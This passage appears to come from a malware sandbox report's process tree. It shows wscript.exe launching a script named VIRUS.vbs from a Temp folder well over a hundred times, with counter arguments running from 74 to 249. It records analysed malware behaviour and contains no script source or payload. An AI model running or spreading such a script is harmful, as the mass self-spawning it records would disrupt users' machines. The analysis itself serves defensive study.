  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 74
  2⤵
  PID:7024
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 75
  2⤵
  PID:3208
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 76
  2⤵
  PID:7164
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 77
  2⤵
  PID:6992
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 78
  2⤵
  PID:7200
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 79
  2⤵
  PID:7220
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 80
  2⤵
  PID:7272
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 81
  2⤵
  PID:7304
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 82
  2⤵
  PID:7352
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 83
  2⤵
  PID:7476
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 84
  2⤵
  PID:7512
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 85
  2⤵
  PID:7548
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 86
  2⤵
  PID:7596
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 87
  2⤵
  PID:7624
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 88
  2⤵
  PID:7656
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 89
  2⤵
  PID:7692
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 90
  2⤵
  PID:7736
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 91
  2⤵
  PID:7768
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 92
  2⤵
  PID:7804
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 93
  2⤵
  PID:7844
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 94
  2⤵
  PID:7880
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 95
  2⤵
  PID:7908
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 96
  2⤵
  PID:7952
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 97
  2⤵
  PID:7984
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 98
  2⤵
  PID:8024
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 99
  2⤵
  PID:8060
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 100
  2⤵
  PID:8108
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 101
  2⤵
  PID:8128
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 102
  2⤵
  PID:8164
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 103
  2⤵
  PID:7208
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 104
  2⤵
  PID:7384
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 105
  2⤵
  PID:7424
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 106
  2⤵
  PID:7392
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 107
  2⤵
  PID:7664
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 108
  2⤵
  PID:2128
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 109
  2⤵
  PID:6068
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 110
  2⤵
  PID:8172
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 111
  2⤵
  PID:8200
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 112
  2⤵
  PID:8236
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 113
  2⤵
  PID:8276
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 114
  2⤵
  PID:8308
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 115
  2⤵
  PID:8336
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 116
  2⤵
  PID:8380
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 117
  2⤵
  PID:8416
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 118
  2⤵
  PID:8456
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 119
  2⤵
  PID:8488
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 120
  2⤵
  PID:8512
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 121
  2⤵
  PID:8592
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 122
  2⤵
  PID:8624
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 123
  2⤵
  PID:8648
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 124
  2⤵
  PID:8712
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 125
  2⤵
  PID:8736
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 126
  2⤵
  PID:8768
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 127
  2⤵
  PID:8808
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 128
  2⤵
  PID:8844
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 129
  2⤵
  PID:8884
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 130
  2⤵
  PID:8916
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 131
  2⤵
  PID:8956
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 132
  2⤵
  PID:8988
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 133
  2⤵
  PID:9028
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 134
  2⤵
  PID:9060
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 135
  2⤵
  PID:9096
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 136
  2⤵
  PID:9136
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 137
  2⤵
  PID:9168
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 138
  2⤵
  PID:9204
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 139
  2⤵
  PID:8544
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 140
  2⤵
  PID:8576
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 141
  2⤵
  PID:8816
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 142
  2⤵
  PID:2988
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 143
  2⤵
  PID:3136
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 144
  2⤵
  PID:9224
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 145
  2⤵
  PID:9328
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 146
  2⤵
  PID:9348
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 147
  2⤵
  PID:9388
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 148
  2⤵
  PID:9420
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 149
  2⤵
  PID:9456
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 150
  2⤵
  PID:9492
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 151
  2⤵
  PID:9528
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 152
  2⤵
  PID:9564
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 153
  2⤵
  PID:9600
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 154
  2⤵
  PID:9636
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 155
  2⤵
  PID:9688
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 156
  2⤵
  PID:9708
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 157
  2⤵
  PID:9732
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 158
  2⤵
  PID:9764
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 159
  2⤵
  PID:9820
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 160
  2⤵
  PID:9880
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 161
  2⤵
  PID:9900
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 162
  2⤵
  PID:9928
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 163
  2⤵
  PID:9972
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 164
  2⤵
  PID:10012
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 165
  2⤵
  PID:10044
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 166
  2⤵
  PID:10080
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 167
  2⤵
  PID:10116
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 168
  2⤵
  PID:10152
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 169
  2⤵
  PID:10192
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 170
  2⤵
  PID:9144
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 171
  2⤵
  PID:9232
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 172
  2⤵
  PID:9320
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 173
  2⤵
  PID:9572
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 174
  2⤵
  PID:3032
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 175
  2⤵
  PID:1568
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 176
  2⤵
  PID:9852
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 177
  2⤵
  PID:10020
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 178
  2⤵
  PID:10244
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 179
  2⤵
  PID:10268
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 180
  2⤵
  PID:10304
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 181
  2⤵
  PID:10352
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 182
  2⤵
  PID:10388
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 183
  2⤵
  PID:10428
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 184
  2⤵
  PID:10464
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 185
  2⤵
  PID:10496
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 186
  2⤵
  PID:10548
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 187
  2⤵
  PID:10572
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 188
  2⤵
  PID:10604
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 189
  2⤵
  PID:10640
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 190
  2⤵
  PID:10676
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 191
  2⤵
  PID:10700
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 192
  2⤵
  PID:10752
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 193
  2⤵
  PID:10788
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 194
  2⤵
  PID:10824
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 195
  2⤵
  PID:10876
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 196
  2⤵
  PID:10896
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 197
  2⤵
  PID:10920
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 198
  2⤵
  PID:10960
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 199
  2⤵
  PID:11008
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 200
  2⤵
  PID:11044
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 201
  2⤵
  PID:11080
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 202
  2⤵
  PID:11112
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 203
  2⤵
  PID:11152
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 204
  2⤵
  PID:11188
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 205
  2⤵
  PID:11224
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 206
  2⤵
  PID:11260
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 207
  2⤵
  PID:10472
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 208
  2⤵
  PID:10832
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 209
  2⤵
  PID:11160
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 210
  2⤵
  PID:11280
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 211
  2⤵
  PID:11320
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 212
  2⤵
  PID:11352
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 213
  2⤵
  PID:11388
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 214
  2⤵
  PID:11428
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 215
  2⤵
  PID:11460
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 216
  2⤵
  PID:11484
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 217
  2⤵
  PID:11532
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 218
  2⤵
  PID:11588
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 219
  2⤵
  PID:11612
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 220
  2⤵
  PID:11648
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 221
  2⤵
  PID:11680
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 222
  2⤵
  PID:11716
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 223
  2⤵
  PID:11756
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 224
  2⤵
  PID:11788
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 225
  2⤵
  PID:11812
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 226
  2⤵
  PID:11860
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 227
  2⤵
  PID:11904
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 228
  2⤵
  PID:11932
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 229
  2⤵
  PID:11956
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 230
  2⤵
  PID:11992
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 231
  2⤵
  PID:12044
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 232
  2⤵
  PID:12076
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 233
  2⤵
  PID:12104
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 234
  2⤵
  PID:12148
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 235
  2⤵
  PID:12196
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 236
  2⤵
  PID:12224
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 237
  2⤵
  PID:12256
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 238
  2⤵
  PID:3120
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 239
  2⤵
  PID:5068
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 240
  2⤵
  PID:11560
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 241
  2⤵
  PID:12084
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 242
  2⤵
  PID:11396
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 243
  2⤵
  PID:4144
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 244
  2⤵
  PID:12312
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 245
  2⤵
  PID:12348
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 246
  2⤵
  PID:12416
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 247
  2⤵
  PID:12456
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 248
  2⤵
  PID:12492
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS.vbs" 249
  2⤵
  PID:12524
- C:\Windows\System32\wscript.exe
